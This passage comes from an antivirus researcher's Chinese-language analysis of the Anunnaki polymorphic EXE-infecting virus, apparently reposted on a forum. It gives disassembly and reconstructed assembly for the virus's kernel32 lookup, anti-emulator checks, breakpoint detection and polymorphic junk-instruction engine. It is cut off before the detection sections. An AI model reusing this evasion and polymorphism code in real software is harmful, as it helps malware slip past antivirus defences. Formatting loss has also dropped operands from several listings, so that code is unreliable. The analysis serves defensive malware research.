Hmily 发表于 2010-3-24 11:50

基于启发式技术检测复杂病毒Anunnaki

                            =|--bytehero team--|=/=-----------------------------------------------------------------------=\|=-------------=[   基于启发式技术检测复杂病毒Anunnaki   ]=------------=||=-----------------------------------------------------------------------=||=---------------=[    by nEINEI//091118      ]=-------------=||=---------------=[    nEINEI<neinei_at_bytehero_dot_com> ]=-------------=|\=-----------------------------------------------------------------------=/

[目录].简介.Anunnaki变形病毒技术分析   2.1.Anunnaki特性简介   2.2.Anunnaki执行流程   2.3.get kernel base address   2.4.anti av-emulator and anti av-heuristic   2.5.polymorphic        2.5.1 Offensive polymorphic engine 功能描述       2.5.2 仿真无效指令设计       2.5.3 poly engine的实现   2.6.EPO technology 实现   2.7.感染后文件对比.防御技术的困境 3.1.特征码的失效   3.2.关于主动防御技术   3.3.关于“云”安全技术   3.4.关于启发式检测技术.寻找复杂病毒的漏洞   4.1.重定位手段   4.2.跨节区跳转   4.3.怪异的macros   4.4.EPO跟踪   4.5.polymorphic的不足   4.6.关于检测.启发式技术检测Anunnaki   5.1.构造仿真器   5.2.执行时数据的跟踪   5.3.没有终结的对抗.其他
.简介   
   启发式检测技术作为特征检测技术的辅助手段,已经用实践经验证明了是检测病毒的一个成功手段,基于启发式的扫描器最大弱点就是会导致过多的虚警,但在某些方面(如宏病毒,ani格式,swf格式漏洞等方面,加密,变形等),如果缺少的启发式检测机制,仅依靠基于特征码技术、主防、”云“技术等Aver手段将无法完成病毒的完全性检测。
   Anunnaki多态病毒是由Dark Prophet编写的最新病毒,发布日期09-10-20。该病毒的payload仅弹出一个msgbox,提示”U was infected by almighty Anunnaki“,并没有破坏性的动作,Anunnaki在感染,反虚拟机,变形等方面总结了之前的一些经验,做了一些新的尝试,虽然在Anti-emulation中并没加入vx群体最新的研究成果,但仍然有效的跳过了一些av中的sandbox检测。下面将在结合Anunnaki的分析中,完成启发式检测方案。
. Anunnaki变形病毒技术分析
   2.1 Anunnaki特性简介
   Virus type       -   直接感染当前目录下的文件   Target files   -   EXE 文件                                                                        Target OS      -   Win2k/2003/xp/vista/2008/win7                                       Infection type   -   添加最后一个节   Infection mark   -   不会多重感染                                       Polymorphic      -   同样使用了由prophet自己编写的多态引擎(Offensive polymorphic engine)                        -   支持32bit滑动密钥(xor/add/sub)                                    EPO            -   Patch ExitProcess/exit/_exit,支持call rel32/call dword ptr                                Payload          -   Message box                                                         Armoured         -   反仿真器                                              -   检测 SW breakpoints                                                                  通过检测api调用处是否有bpx,能绕过比较差的sandbox   Apis resolving   -   通过crc校验值方式                                             Other features   -   不使用Delta offset方式重定位                                                            -   慢随机感染(不是每次都能触发感染替罪羊程序)                                                      -   最后一个节不设置可写标志 (anti-heuristic)                      -   随机插入数据到virus body                  -   使用SEH                                                                            -   可设置垃圾字节数及多态级别,病毒大小可变    DEP support      -   在DLLCharacteristics为0时,设置Nx_Compatible标志
   ASLR support   -   Implicit - neither virus nor decryptors are position dependant       SafeSeh support-   禁用了 SafeSEH 使用自定义SEH处理程序
2.2 Anunnaki执行流程      简化的执行步骤,      step 1:重定位,获得当前基址      step 2:安装SEH      step 3:anti emulator_1      step 4:anti emulator_2      setp 5:获得调用的APIs      step 6:获得SFCH支持函数      step 7:搜索当前目录,进行感染      step 8:执行payload
      AnunnakiFlow Charts ------.                                                    |                                  V                        +------------------+                        |   重定位       |                         +------------------+                                     |                                  V                        +------------------+                        |   安装SEH      |                         +------------------+                                     |                                  V                        +------------------+                        |anti emulator1   |                         +------------------+                                     |                                  V                        +------------------+                        | 初始化病毒vars   |                         +------------------+                                     |                                  V                        +------------------+                        | anti emulator2    |                         +------------------+                                     |                                  V                        +------------------+                        |   get apis       |                         +------------------+                                     |                                  V                        +------------------+                        | get sfc apis   |                         +------------------+                                                                               |                                  V                        +------------------+                        |search current dir|                         +------------------+                                 /          \                     +--------.         .----------------+                     |                                     |                     V                                     V          +---------------------+                  +-------------+             |infect file (*.exe)|                  |    exit   |          +---------------------+                  +-------------+                     |                     V          +---------------------+          | epo && ope && crypt |           +---------------------+                           |                     V          +---------------------+          |    exec payload   |           +---------------------+                      |                     V          +---------------------+          |      exit         |           +---------------------+
2.3 get kernel32 base address
    在获得kernel32.dll base address方面,实用稳定的方式有3种,
    1: 进程被加载后,esp指向kernel32.dll空间,搜索该空间即可    2:遍历SEH链,当prev == -1 时,该处理异常的routine,在kernel32.dll的地址空间,搜索该空间即可找到kernel 的base address。    3:利用fs:获得PEB,通过遍历InMemoryOrder模块列表,直接定位base address。Anunnaki使用了方案3。
    还有一些稀奇古怪的硬编码方式,缺少通用性。但是作为一种思路,可应用在编写shellcode,检测os version,或是SEH当中。
——————in :null——————out:eax --> kernel32的基址
0040159D                   |>60               pushad0040159E                   |.FC               cld0040159F                   |.33D2             xor edx,edx004015A1                   |.64:8B52 30       mov edx,dword ptr fs:         ;指向PEB的指针004015A5                   |.8B52 0C          mov edx,dword ptr ds:          ;指向PEB->_PEB_LDR_DATA004015A8                   |.8B52 14          mov edx,dword ptr ds:         ;指向InMemoryOrder中第一个模块列表004015AB                   |>8B72 28          /mov esi,dword ptr ds:      ;esi指向模块名称004015AE                   |.B9 18000000      |mov ecx,18                           ; 按Unicode计算kernel32.dll的长度为0x18004015B3                   |.33FF             |xor edi,edi                        ; edi 为要计算的模块名称的hash值004015B5                   |>33C0             |/xor eax,eax004015B7                   |.AC ||lods byte ptr ds:                            ;esi 指向模块名的首地址004015B8                   |.3C 61            ||cmp al,61                           ;61 -> 'a'004015BA                   |.7C 02            ||jl short Anunnaki.004015BE004015BC                   |.2C 20            ||sub al,20004015BE                   |>C1CF 0D          ||ror edi,0D004015C1                   |.03F8             ||add edi,eax004015C3                   |.^ E2 F0            |\loopd short Anunnaki.004015B5004015C5                   |.81FF 5BBC4A6A    |cmp edi,6A4ABC5B       ;edi 是计算的hash值,6A4ABC5B - > kernel32.dll 对应的hash值004015CB                   |.8B5A 10          |mov ebx,dword ptr ds:004015CE                   |.8B12             |mov edx,dword ptr ds:         ;下一个模块的地址004015D0                   |.^ 75 D9            \jnz short Anunnaki.004015AB004015D2                   |.895C24 1C      mov dword ptr ss:,ebx         ; 计算当前堆栈位置,在popad后,该值赋值给eax004015D6                   |.61               popad004015D7                   \.C3               retn
2.4 anti av emulator and anti av-heuristic
   I)在反仿真器检测方面Anunnaki并没有使用vxer群体里面讨论的太多新的技术,采用了2种实用的方案:
   方案1:利用gethostbyname的返回值,来测试程序是否运行在仿真环境,其中返回值直接读取teb中的LastErrorValue,通过校验该值来判断是否直接退出,同类的思路应用于NOD32这样的级别的AV对抗中,仍然有效。原因不在于矛有多锋利,而在于身在明处的盾,只要有耐心总是有漏洞可寻,例如NOD32对程序执行的时间及相关涉及时间的变形代码很敏感。
       anti_emul_1:       0040169E                   /$60               pushad       0040169F                   |.6A 00            push 0       004016A1                   |.68 61727941      push 41797261       004016A6                   |.68 4C696272      push 7262694C       004016AB                   |.68 4C6F6164      push 64616F4C       004016B0                   |.54               push esp                ;esp - > loadlibraryA       004016B1                   |.E8 E5FEFFFF      call Anunnaki.0040159B;get kernel32 base       004016B6                   |.50               push eax       004016B7                   |.E8 CCFDFFFF      call <Anunnaki.my_getprocaddress>        004016BC                   |.83C4 10          add esp,10            ;eax -> loadlibrary address       004016BF                   |.85C0             test eax,eax       004016C1                   |.0F84 91000000    je Anunnaki.00401758       004016C7                   |.8BD0             mov edx,eax       004016C9                   |.6A 00            push 0       004016CB                   |.68 6C6C0000      push 6C6C       004016D0                   |.68 33322E64      push 642E3233       004016D5                   |.68 7773325F      push 5F327377       004016DA                   |.54               push esp                ;esp - > ws2_32.dll       004016DB                   |.FFD2             call edx       004016DD                   |.83C4 10          add esp,10       004016E0                   |.85C0             test eax,eax       004016E2                   |.74 74            je short Anunnaki.00401758       004016E4                   |.6A 65            push 65       004016E6                   |.68 796E616D      push 6D616E79       004016EB                   |.68 6F737462      push 6274736F       004016F0                   |.68 67657468      push 68746567       004016F5                   |.54               push esp                ;esp->gethostbyname       004016F6                   |.50               push eax       004016F7                   |.E8 8CFDFFFF      call <Anunnaki.my_getprocaddress>       004016FC                   |.83C4 10          add esp,10       004016FF                   |.85C0             test eax,eax       00401701                   |.74 55            je short Anunnaki.00401758       00401703                   |.8BF8             mov edi,eax       00401705                   |.6A 00            push 0       00401707                   |.68 6F6D0000      push 6D6F       0040170C                   |.68 6C652E63      push 632E656C       00401711                   |.68 676F6F67      push 676F6F67       00401716                   |.54               push esp               ;esp->"google.com"        00401717                   |.FFD7             call edi               ;call - > gethostbyname("google.com")       00401719                   |.83C4 10          add esp,10       0040171C                   |.64:A1 34000000   mov eax,dword ptr fs: ; 从teb中读取GetLastError数值给eax        00401722                   |.69C0 01000100    imul eax,eax,10001       00401728                   |.35 58862413      xor eax,13248658       0040172D                   |.3D 35A14934      cmp eax,3449A135          ; 校验返回值       00401732                   |.74 24            je short Anunnaki.00401758       00401734                   |.6A 00            push 0       00401736                   |.68 65737300      push 737365       0040173B                   |.68 50726F63      push 636F7250       00401740                   |.68 45786974      push 74697845       00401745                   |.54               push esp                  ; esp->ExitProcess       00401746                   |.E8 50FEFFFF      call Anunnaki.0040159B       0040174B                   |.50               push eax       0040174C                   |.E8 37FDFFFF      call <Anunnaki.my_getprocaddress>       00401751                   |.83C4 0C          add esp,0C       00401754                   |.6A 00            push 0       00401756                   |.FFD0             call eax                  ;       00401758                   |>61               popad       00401759                   \.C3               retn
       方案2:利用仿真器一般不会仿真处理SSE指令这里特点来判断是否运行于仿真环境中,这点其实对AV-emulator来说很容易补上,关键在于当你想到时,已经晚了一步,所以aver得继续努力跟进。
       anti_emul_1:       00401757       |?50               push eax       00401758       |>0F2FC0         comiss xmm0,xmm0    ;比较低位数并且设置标识位       0040175B       |.33C0             xor eax,eax       0040175D       |?0F2AC0         cvtpi2ps xmm0,mm0   ;32位整数转变为浮点数       00401760       |.58               pop eax       00401761       |?C3               retn       00401762       |?56               push esi
   II)在反启发式检测方面,Anunnaki很注意在stack中的数据的隐藏,绝不在stack及code中出现有含义的数据,这样使得特征扫描,及通配符匹配,不相等字 符匹配等等检测方式失效,例如,对bpx的检测:
       detect_bpx:       00401762         56               push esi       00401763         51               push ecx       00401764         8BF0               mov esi,eax       00401766         B9 05000000      mov ecx,5       0040176B         33C0               xor eax,eax       0040176D         AC               lods byte ptr ds:       0040176E         35 99000000      xor eax,99       00401773         83F8 55            cmp eax,55                  ; -- av 跳过       00401776         74 24            je short Anunnaki.0040179C       00401778         83F8 54            cmp eax,54                  ; -- av 跳过       0040177B         74 1F            je short Anunnaki.0040179C        0040177D         83F8 09            cmp eax,9                   ; -- av 跳过       00401780         74 1A            je short Anunnaki.0040179C       00401782         83F8 71            cmp eax,71                  ; -- av 跳过       00401785         74 15            je short Anunnaki.0040179C       00401787         83F8 70            cmp eax,70                  ; -- av 跳过       0040178A         74 10            je short Anunnaki.0040179C       0040178C         83F8 63            cmp eax,63                  ; -- av 跳过       0040178F         74 0B            je short Anunnaki.0040179C       00401791         83F8 62            cmp eax,62                  ; -- av 跳过       00401794         74 06            je short Anunnaki.0040179C       00401796       ^ E2 D3            loopd short Anunnaki.0040176B       00401798         33C0               xor eax,eax       0040179A         EB 03            jmp short Anunnaki.0040179F       0040179C         33C0               xor eax,eax       0040179E         40               inc eax       0040179F         59               pop ecx       004017A0         5E               pop esi       004017A1         C3               retn
以上的比较值0x55,0x54,0x9,0x71,0x70,0x63,0x62时,几乎不会引起任何scanner的警觉,但当上述值与0x99做xor操作后,即明白是检测bpx的操作。
0x55 xor 0x99 - >   0xcc (int 3)0x54 xor 0x99 - >   0xcd (int 0)0x09 xor 0x99 - >   0x90 (nop)0x71 xor 0x99 - >   0xe8 (call rel32)0x70 xor 0x99 - >   0xe9 (jmprel32)0x63 xor 0x99 - >   0xfa (cli)0x62 xor 0x99 - >   0xfb (sti)
类似的应用还有在stack中压入字符串操作,我们可以看到bin中的所有字符串操作都是采用下面的手法:
       .text:00401705 6A 00          push    0       .text:00401707 68 6F 6D 00 00 push    6D6Fh            --- > 'mo'       .text:0040170C 68 6C 65 2E 63 push    632E656Ch          --- > 'c.el'       .text:00401711 68 67 6F 6F 67 push    676F6F67h          --- > 'goog'       .text:00401716 54             push    esp                --- > 'gogle.com'       .text:00401717 FF D7          call    edi                --- >call gethostbyname
       .text:00401108 6A 00          push    0       .text:0040110A 68 65 73 73 00 push    737365h            --- > 'sse'       .text:0040110F 68 50 72 6F 63 push    636F7250h          --- > 'corP'       .text:00401114 68 45 78 69 74 push    74697845h          --- > 'tixE'       .text:00401119 54             push    esp                --- >call ExitProcess
这样av scanner 都会认为压入的是数值而忽略了该方式的检测。
2.5.Polymorphic engine
2.5.1 Offensive polymorphic engine 功能描述      
    在进行感染前,Anunnaki会在病毒体前后,随机洒满垃圾数据,这样virus body就具有可变大小,更重要的是夹杂在垃圾数据间的code,看起来更像是一个数据段,极具迷惑作用。ope 是一个复杂的可配置的多态引擎,根据需求提供不同的可变代码生成机制,但该引擎并没有完全写完,还有一些高级功能未完成,但这不影响在编写virus中的应用。可以看到,感染后的数据情况,virus body 前后都套了不同层数的保护(垃圾数据及仿真的无效指令),在此基础上进行数据的多态变形。
buffer---> +-----------------------------+      buffer------>    |       |+----------------------+   |      .----------->+---------------------------+   |       || Gen trash data       |   |      /            |cryptor buff by buf_len    |   |       |+----------------------+   |       /               +---------------------------+   |       |            |                |      /                            |   |       |            V                |   /                           V   |       |+----------------------+   |    /                  +---------------------------+   |       ||emulatorinstruction|   |   /                   |set decryptor instruction|-----.   |       |+----------------------+   |/                  +---------------------------+   |   |       |            |                | / 进行数据的多态变形            |                     |   V       |            V                |                                 V                     |buf_len|+----------------------+   |                     +---------------------------+   |       A       ||   virus body       |   |                     |insert emulatorinstruction|   |loop不断在decryptor中   |       |+----------------------+   |                     +---------------------------+   |夹杂混淆干扰数据   |       ||         |                |                                 |                     |   |       ||         V                |                                 V                     |   |       |+----------------------+   |                     +---------------------------+   |   |       || Gen trash data       |   |                     |set decryptor instruction|   |   |       |+----------------------+   |                     +---------------------------+ <---.   .------ +-----------------------------+                                 |                                                                           V                                                                   +---------------------------+                                                    finish-->    |      confused code      |                                                                  +---------------------------+
    在经过polyengine处理后,ope支持在该层数据上继续进行多态变形处理。   
   mov eax,VIRUS_POLY_LAYERS_MAX;最大默认为3层   call rand   test eax,eax   jz @f   mov ecx,eax                           CreateLayer:   mov eax,ebx    call PolyEngine   ;... 重新设置入口偏移   loop CreateLayer @@:       ;...     理论上层数越多越难处理,但实际效果上层数不易过多,否则影响程序执行效率。
   2.5.2 仿真无效指令设计:       
   早期的多态引擎在无效指令方面设计的较为简单,利用1字节,2字节,3字节,等无效指令插入真正的代码当中,来达到混淆数据的目录,1990年,mark编写的1260病毒,是最早引入该机制的病毒.
在代码中随机插入1字节指令inc si \ dec si \clc \ nop \
插入2字节指令sub bx,bx \ xor bx,cx \ div ax \
插入3字节指令add bx,0 \ add cx,0\
    这些技术都曾对特征检测制造过很大麻烦,随着aver研究的深入,只要静态检测配合一个反汇编器,就可解决掉1260这样简单的多态病毒,但这一思路一直保 持到今天多态引擎设计当中,GyiYo/29A的基于win32平台hps多态引擎继续给aver制造难题,使用了高度结构化的解码器同时支持指令乱序,但很重要一点就是当它产生junk时,你不仔细分析,将认为这就是正常的程序代码。ope引擎同样非常优秀,产生的无效指令一样使人看起来很真实,并不像垃圾指令。下面分析仿真无效指令的设计。
   I)寄存器的使用说明:
         定义寄存器的索引值, enum { eax = 0,ecx,edx,ebx,esp,ebp,esi,edi };
   II) 设置要使用的寄存器:
设置esp,ebp 作为使用的寄存器。00402621 <Anunnaki.set_reg_32>      /$50                     push eax;eax 为要设置的寄存器索引00402622                              |.E8 E5FFFFFF            call <Anunnaki.convert_32>00402627                              |.3145 58                  ordword ptr ss:,eax ;将0x00000010 保存到poly_vars.poly_reg_usage 0040262A                              |.58                     pop eax
0040260C <Anunnaki.convert_32>      /$51                     push ecx0040260D                              |.8BC8                     mov ecx,eax ; 如eax = 4;0040260F                              |.33C0                     xor eax,eax00402611                              |.40                     inc eax00402612                              |.D3C0                     rol eax,cl 00402614                              |.59                     pop ecx   ; 最后的结果为eax = 0x00000010
    unset_reg_32(取消使用的寄存器)原理和这个类似,仅差一条语句,不在赘述,    xordword ptr ss:,eax ; 消除要取消的寄存器标志位。
    III)无效指令的生成:
    ope支持产生最大值为5的一个自定义过程调用,初始化时,将在buff中产生子过程调用的代码,支持如下方式代码的产生:    POLY_FLAG_IN_LOOPequ1 ; in loop     POLY_FLAG_IN_SUBRequ2 ; in subroutine     POLY_FLAG_IN_PREDequ4 ; in predicate
    随机产生递归的深度,来控制产生无效指令的多少,这里Prophet还预留了产生API调用,但目前还未完成该功能,如果不追求metamorphic的复杂与巨大的体积,智能化的Polymorphic将继续是对抗的热点所在,而且会不断的给aver制造麻烦。
    00402194 <Anunnaki.junk>/$60               pushad    00402195               |.8BE8            mov ebp,eax    00402197               |.E8 20000000       call <Anunnaki.PolyInit>               ; 初始化设置前面提到的寄存器    0040219C               |.E8 32FAFFFF       call <Anunnaki.PolyGarbleInit>         ; 初始化多态设置及何种的子过程调用    004021A1               |.8B7D 14         mov edi,dword ptr ss:          ; PolyCreateGarbage    004021A4               |.8BC7            mov eax,edi                            ; edi - > 填充无效指令的位置     004021A6               |.85C9            test ecx,ecx    004021A8               |.74 10             je short Anunnaki.004021BA    004021AA <Anunnaki.junk>|>E8 4BFAFFFF      /call <Anunnaki.PolyGarble>            ;循环填写仿真的无效指令    004021AF               |.^ E2 F9             \loopd short <Anunnaki.PolyGarble>    004021B1               |.2BF8            sub edi,eax    004021B3               |.897D 1C         mov dword ptr ss:,edi    004021B6               |.897C24 1C         mov dword ptr ss:,edi    004021BA               |>61                popad    004021BB               \.C3                retn
    IV) 随机无效指令派发:    能产生push/poploopcall jump等这些类型的指令
    00401C1C             $B8 21000000       mov eax,21                           ;21是随机种子,包含最大的产生无效指令类型    00401C21             .E8 B30A0000       call <Anunnaki.random>               ;随机获得一种类型,产生不同类型指令    00401C26             .83F8 07         cmp eax,7                              ;产生PUSH_POP;     00401C29             .72 38             jb short Anunnaki.00401C63    00401C2B             .83E8 07         sub eax,7    00401C2E             .83F8 05         cmp eax,5                              ;产生PREDICATE    00401C31             .72 29             jb short Anunnaki.00401C5C    00401C33             .83E8 05         sub eax,5    00401C36             .83F8 02         cmp eax,2                              ;产生LOOP    00401C39             .72 1A             jb short Anunnaki.00401C55    00401C3B             .83E8 02         sub eax,2    00401C3E             .83F8 02         cmp eax,2                              ;产生CALL    00401C41             .72 30             jb short Anunnaki.00401C73    00401C43             .83E8 02         sub eax,2     00401C46             .83F8 05         cmp eax,5    00401C49             .72 21             jb short Anunnaki.00401C6C    00401C4B             .83E8 05         sub eax,5                                   00401C4E             .E8 7E030000       call <Anunnaki.Garble_Create_Modrm>    ;产生内存寻找方式    00401C53             .EB 23             jmp short Anunnaki.00401C78    00401C55             >E8 A8000000       call <Anunnaki.Garble_Loop>            ;循环结构    00401C5A             .EB 1C             jmp short Anunnaki.00401C78    00401C5C             >E8 22000000       call <Anunnaki.Garble_Predicate>       ;产生一个不透明谓词(暂且这样称呼,主要是修改jmp为条件     00401C61             .EB 15             jmp short Anunnaki.00401C78            ;跳转,但执行时条件永远为真)    00401C63             >E8 73000000       call <Anunnaki.Garble_Push_Pop>      ;产生push/pop    00401C68             .EB 0E             jmp short Anunnaki.00401C78    00401C6A             .EB 0C             jmp short Anunnaki.00401C78    00401C6C             >E8 EF030000       call <Anunnaki.Garble_Create_Imm>      ;产生imm 方式    00401C71             .EB 05             jmp short Anunnaki.00401C78    00401C73             >E8 18010000       call <Anunnaki.Garble_Sub_Call>      ;产生call    00401C78             >85C9            test ecx,ecx    00401C7A             .74 06             je short Anunnaki.00401C82    00401C7C             .49                dec ecx    00401C7D             .E8 9AFFFFFF       call <Anunnaki.Garble>    00401C82             >C3                retn

    V) 各种指令的构造原理:
    随机产生各种寄存器的情况下,根据每一种指令的特点,产生不同寄存器的不同寻址方式,下面做简要说明,rx(表示任意一个可使用的寄存器)
    1 push :可产生 push xxxx/ push rx / push 方式
    a)立即数寻找方式:    Garble_Push_Imm:               mov eax,2    call random    push ebx    mov ebx,eax     rol eax,1    add eax,68h    stosb
    b)push随机寄存器方式    Garble_Push_Reg32:                  call get_reg_32 ; 返回0 ~ 8 的寄存器索引    add al,50h    stosb    retn
    c)push内存寻址方式    Garble_Push_Modrm:                  mov al,0ffh    stosb     push edi     call Garble_Create_Modrm_Byte    pop eax    and byte ptr ,11000111b; 2(11):3(000):3(111)-> 2(11) ->     add byte ptr ,6 SHL 3    retn
    2 imm 方式:
    Garble_Create_Imm:                      push ebx     call get_free_reg_32_no_set   ;获得一个不被使用的寄存器,从poly_vars->poly_reg_usage 获得    mov ebx,eax                   ;并重新设置相关位    cmp eax,-1     je Garble_Create_Imm_E     mov eax,5    call random    test eax,eax    jz Garble_Imm_Init_Ptr          cmp eax,1    jbe Garble_Imm_Inc_Dec                   mov eax,0b8h               ;产生一个mov rx, (ebx 存放具体不能被使用的寄存器索引数值)    add eax,ebx     stosb        mov eax,-1                   ;设置一个32bit最大值    call random     stosd                        ;将4byteimm写入内存,形成mov rx,imm    pop ebx    retn
    同理还可以产生 sub rx /inc rx /decrx 等等方式操作。
    3 mod/rm 方式:
    步骤: 1产生一个随机数,判断是否要有0x66前缀          2获得当前能用的寄存器标志,如果不等于0,则产生add / or / and / sub / xor / mov 指令,否则跳向步骤3          3没有可选寄存器,调用Garble_Create_Modrm_Byte,生成mov rx,rx 等指令。
          对于没有寄存器可用的情况下,如何生成不影响当前代码的指令,ope使用的简洁的一个方案,那就是一律产生mov r1,r1(r1指相同的寄存器)          类指令,具体方式,          向缓冲区写入0x89 (opcode -> mov)          opcode format   +----------+---------+---------+--------+-------------+----------+                        |prefixes| opcode|Mod/rm   |sib   |displacement |immediate |                        +----------+---------+---------+--------+-------------+----------+                                     |0x89   |                                     +---------+          可以看出,要产生mov r1,r1 指令,关键是mod/rm域中要填入的合适的值。mod/rm域用于指出寻址方式,包括内存寻址及寄存器寻址,mod/rm占1字节,按2:3:3 bit解析,当m1可表示4种寻址模式,当m1 == 11时表示寄存器到寄存器,(m2,m3)占3bit,表示8种寄存器,故只要保证m2,m3数值相同,逻辑或 0xc0 即可。                         m1         m2       m3          mod/rm -- > +--------+---------+--------+                      |11    |   00    |   00   |      ----> 0xc0                      +--------+---------+--------+           其他类型指令的产生与上述情况类似,涉及mod/rm sib displacement immediate 格式的解析,生成不同指令,不再赘述。
   具体的变形代码如下:Garble_Create_Modrm_Byte:        push ebx                     ; 保存poly_vars结构                                      call get_free_reg_32_no_set;获得一个未使用的寄存器索引       cmp eax,-1       je Modrm_reg1_reg1         ;没有可用寄存器       rol eax,3       mov ebx,eax       mov eax,5       call random       test eax,eax       jz Modrm_Reg_Reg          cmp eax,3       jb Modrm_Stack_ReadModrm_Mem_Acc:                                   mov eax,3             call random       test eax,eax       jz Modrm_Mem_Direct       cmp dword ptr .poly_junk_mem_pos,0       je Modrm_Mem_Direct            Modrm_Mem_AccNoDisp:                mov eax,dword ptr .poly_junk_mem_reg       add eax,ebx       stosb
       mov eax,dword ptr .poly_read_mem_size       sub eax,4       call random        add eax,dword ptr .poly_read_mem_base
       mov ebx,eax       sub ebx,dword ptr .poly_junk_mem_pos
       mov eax,6        call random
       cmp eax,0       je Modrm_Mem_Disp32
       cmp eax,4       jb Modrm_Mem_Disp8
       pop ebx       retn
Modrm_Mem_Disp8:                   add byte ptr ,40h       mov byte ptr ,bl       inc edi
       pop ebx       retn
Modrm_Mem_Disp32:                             add byte ptr ,80h       mov dword ptr ,ebx       add edi,4
       pop ebx       retn
Modrm_Mem_Direct:                         mov eax,dword ptr .poly_options       and eax,POLY_OPT_MEM_ACC_DIRECT       test eax,eax       jnz Modrm_Stack_Read
       cmp dword ptr .poly_read_mem_base,0       je Modrm_Stack_Read
       mov eax,5       add eax,ebx       stosb
       mov eax,dword ptr .poly_read_mem_size       call random       add eax,dword ptr .poly_read_mem_base
       stosd                                         jmp Modrm_End               Modrm_Stack_Read:                               mov eax,ebx       add eax,45h       mov byte ptr ,al                                  mov eax,2       call random       test eax,eax       jz Modrm_Stack_Ebp                                     mov byte ptr ,24h       sub byte ptr ,1       inc ediModrm_Stack_Ebp:                                inc edi       mov eax,POLY_ESP_ACC_RNG_MAX        call random        imul eax,4                                        mov ebx,eax       mov eax,2 ; +/- disp       call random       test eax,eax        jz Modrm_Stack_DispPos                                        xor eax,eax       sub eax,ebxModrm_Stack_DispPos:                      mov byte ptr ,al       inc edi                                        jmp Modrm_End
Modrm_Reg_Reg:                                call get_reg_32_no_stack;产生mov r1,r2       add eax,ebx ; free reg        add eax,0c0h       stosb       jmp Modrm_End
Modrm_reg1_reg1:                      call get_reg_32 ; 产生 mov r1/r1       mov ah,al       rol al,3       add al,ah       add al,0c0h       stosb                                                                  Modrm_End:       pop ebx       retn
       4 sub_call 方式:
       步骤 1 检测配置中是poly_subroutines_count == 0 ?是0则退出,否则步骤2            2 检测配置中是否设置subroutine标志,没设置退出            3 检测poly_subroutines_table中是否参数标志,因为产生的call 是按__cdecl方式压栈的            4 如果是有参数的情况,负责清栈。            5 调用Garble_Create_Push,产生不同类型的push 32_bit / push 8_bit / push rx / push             6 生成call 指令
Garble_Sub_Call:            push ecx            push ebx            cmp dword ptr .poly_subroutines_count,0   ; 检测是否设置的sub_call方式            je Garble_Sub_Call_End
            call Is_In_Subr ;            test eax,eax            jnz Garble_Sub_Call_End
             mov eax,dword ptr .poly_subroutines_count ;读取计数            call random            lea eax,
            lea ebx,.poly_subroutines_table            add ebx,eax
            cmp dword ptr .poly_junk_mem_pos,0      ; 比较是否初始化junk内存数据            je Garble_Sub_No_Save1
            mov ecx,dword ptr .poly_junk_mem_reg            add ecx,50h            mov byte ptr ,cl ;            inc edi
Garble_Sub_No_Save1:                            mov ecx,dword ptr ;               test ecx,ecx            jz Garble_Sub_No_Arg                           ;生成无参数call 指令
Garble_Sub_Arg:                                    ;为有参数call 设置push 指令            call Garble_Create_Push            loop Garble_Sub_Arg
Garble_Sub_No_Arg:                        mov eax,dword ptr             sub eax,edi            sub eax,5             mov byte ptr ,0e8h            inc edi            stosd         
            mov eax,dword ptr ;            test eax,eax            jz Garble_Sub_No_Save2
            imul eax,4            rol eax,16            add eax,9000c483h      ; 产生 sub esp , xxxx,清空堆栈                           stosd            dec edi Garble_Sub_No_Save2:                            cmp dword ptr .poly_junk_mem_pos,0            je Garble_Sub_Call_End            mov eax,dword ptr .poly_junk_mem_reg            add eax,58h            stosb ;         pop rx                      Garble_Sub_Call_End:                  pop ebx             pop ecx            retn
       5 loop 方式:
      步骤 1 检测配置中是否设置loop方式,随机设置loop的循环次数,范围10000h ~ 1000h         2 初始化loop 所用的寄存器         3 产生一个对rx 赋值循环计数的指令,支持的格式包括 mov rx,cnt / lea rx , / push cnt ,pop rx          4 在loop插入仿真无效指令         5 递减计数
Garble_Loop:                               call Is_In_Loop    test eax,eax    jnz Garble_Loop_End    cmp ecx,5    jbe Garble_Loop_End    call get_free_reg_32    cmp eax,-1    je Garble_Loop_End    call Set_In_Loop ; 保存设置    mov ebx,eax    mov eax,POLY_LOOP_ITERATION_MAX ;   最大loop计数    call random    add eax,POLY_LOOP_ITERATION_MIN   ; 获得一个随机的loop计数    push ecx     mov ecx,eax     call Asm_Mov_Reg_Imm_32          ;产生一个mov rx ,imm32 指令    pop ecx    push edi    push ebx    dec ecx    call Garble   ;插入无效指令    pop eax    mov ebx,eax    call unset_reg_32; 递减计数        mov al,48h    add al,bl    stosb    mov al,085h;测试计数    stosb    mov eax,ebx    rol eax,3    add eax,ebx     add eax,0c0h    stosb     pop eax; 产生一个 jcc    sub eax,edi    push eax    not eax    cmp eax,255 / 2    pop eax     jbe Garble_Loop_Short     sub eax,6   ;产生一个 near jcc    mov word ptr ,0850fh    mov dword ptr ,eax    add edi,6     jmp Garble_Loop_Cont      ;产生一个 short jcc         
~~~~~~~~~~~~~~~~~~~~~~   经过上述变换,产生的无效指令效果如下,可以看到如果不经过分析,是不容易利用程序分析出这些是无效指令的。   loop:   00A00298    68 DE320000   push 32DE   00A0029D    5E            pop esi   00A0029E    337C24 00       xor edi,dword ptr ss:   00A002A2    4E            dec esi   00A002A3    85F6            test esi,esi   00A002A5^ 75 F7         jnz short 00A0029E
   push/pop:   00A009D8    54            push esp   00A009D9    8B5C24 00       mov ebx,dword ptr ss:   00A009DD    5A            pop edx   00A009DE    BF 7B3DF36F   mov edi,6FF33D7B   00A009E3    FF75 F0         push dword ptr ss:   00A009E6    53            push ebx
   jump:   00A009EB   /74 04         je short 00A009F1   00A009ED   |40            inc eax   00A009EE   |66:33F0         xor si,ax   00A009F1   \FF7424 00       push dword ptr ss:   00A009F5    4A            dec edx   00A009F6    8BC0            mov eax,eax   00A009F8    5B            pop ebx
   imm:   00A00A06    BB 14C44F40   mov ebx,404FC414   00A00A0B    33DE            xor ebx,esi   00A00A0D    0B4D 00         or ecx,dword ptr ss:   00A00A10    8B7D 00         mov edi,dword ptr ss:
   mod/rm:   00A009CA    8D15 2C8A0000   lea edx,dword ptr ds:   00A009D0    66:33C0         xor ax,ax   00A009D3    4A            dec edx   00A009D4    85D2            test edx,edx   00A009D6^ 75 F8         jnz short 00A009D0
   call :    00A02B10    E8 03000000   call 00A02B18   00A02B15    234D 00         and ecx,dword ptr ss:   00A02B18    5F            pop edi   00A02B19    81C7 EBD45FFF   add edi,FF5FD4EB   00A02B1F    81C7 F52AA000   add edi,0A02AF5   00A02B25    8B4C24 00       mov ecx,dword ptr ss:
    2.5.3 poly engine的实现
